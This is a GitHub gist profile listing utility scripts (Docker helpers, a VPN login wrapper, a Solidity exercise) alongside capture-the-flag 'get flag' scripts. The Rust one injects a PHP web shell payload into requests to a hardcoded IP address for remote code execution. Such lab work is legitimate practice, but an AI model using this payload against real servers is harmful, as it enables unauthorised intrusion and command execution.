Skip to content

Instantly share code, notes, and snippets.

View Aviksaikat's full-sized avatar
💭
I tell people secrets, it makes them like me

Saikat Karmakar Aviksaikat

💭
I tell people secrets, it makes them like me
View GitHub Profile
@Aviksaikat
Aviksaikat / get_flag.rs
Created December 27, 2022 11:43
get flag script in rust
extern crate reqwest;
extern crate regex;
use reqwest::Client;
use regex::Regex;
fn send_payload(client: &Client) {
let url = "http://44.200.237.73/";
client.get(format!("{}?karma=<?php system($_GET['jadu']); ?>", url).as_str()).send().unwrap();
}
@Aviksaikat
Aviksaikat / get_flag.go
Created December 27, 2022 11:44
get flag script in go
package main
import (
"fmt"
"net/http"
"net/url"
"regexp"
)
var (
@Aviksaikat
Aviksaikat / get_flag_OOP.py
Created December 27, 2022 11:46
get the flag OOPs style
#!/usr/bin/python3
import re
from requests import Session
class RCE:
def __init__(self, url):
self.s = Session()
self.url = url
@Aviksaikat
Aviksaikat / remove_container_by_name.sh
Last active March 7, 2023 12:57
Remove docker container by name
#docker rm $(docker ps -a --filter name=tfm_joomla_cluster-tidbsetup-centos_ssh_\* --format="{{.ID}}")
# wildcard (*) can be used like earlier comment
docker rm $(docker ps -a --filter name=$1 --format="{{.ID}}")
@Aviksaikat
Aviksaikat / docker-compose.sh
Created February 7, 2023 00:31
Install docker-compose on debian/ubuntu
sudo curl -L "https://github.com/docker/compose/releases/download/v2.12.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo mv /usr/local/bin/docker-compose /usr/bin/docker-compose
sudo chmod +x /usr/bin/docker-compose
@Aviksaikat
Aviksaikat / get_container_ip.sh
Created February 7, 2023 00:57
get the ip address of a given docker container name of id
docker inspect --format '{{ .NetworkSettings.IPAddress }}' $1
@Aviksaikat
Aviksaikat / SimpleMessage.sol
Created March 7, 2023 12:50
QuillAudits Chanllenge 7.3.23
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
/*
Challenge:
Write a Solidity contract that allows users to create and store their own simple messages on the blockchain. Each message should be associated with the user's Ethereum address, and users should be able to update their messages at any time. The contract should also allow anyone to view the stored messages for a given Ethereum address.
Instructions:
Create a new Solidity contract with a function for storing and updating messages associated with Ethereum addresses.
@Aviksaikat
Aviksaikat / 302redirect.py
Created March 14, 2023 11:22
Redirect any incoming request
#!/usr/bin/python3
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 2:
print("""
Usage: {} <port_number> <url>
""".format(sys.argv[0]))
sys.exit()
@Aviksaikat
Aviksaikat / open_vpn.sh
Created April 6, 2023 10:13
Tired of putting open vpn user id & pass again & again try this script
#!/bin/bash
VPN_USER="<yourUsername>"
VPN_PASSWORD="<yourPassword>"
CONFIG_FILE="./open_vpn_file.ovpn"
#sudo openvpn saikat.karmarkar-config.ovpn
sudo bash -c 'openvpn --config '"$CONFIG_FILE"' --auth-user-pass <(echo -e "'"$VPN_USER"'\n'"$VPN_PASSWORD"'")'
@Aviksaikat
Aviksaikat / run.sh
Created April 10, 2023 11:32
Run vampi, capital, crapi in 1 single command using docker
#!/bin/bash
function usage() {
echo "Usage: $0 [-vampi|-capital|-crapi|-kill]"
exit 1
}
function capital() {
cd capital/
git pull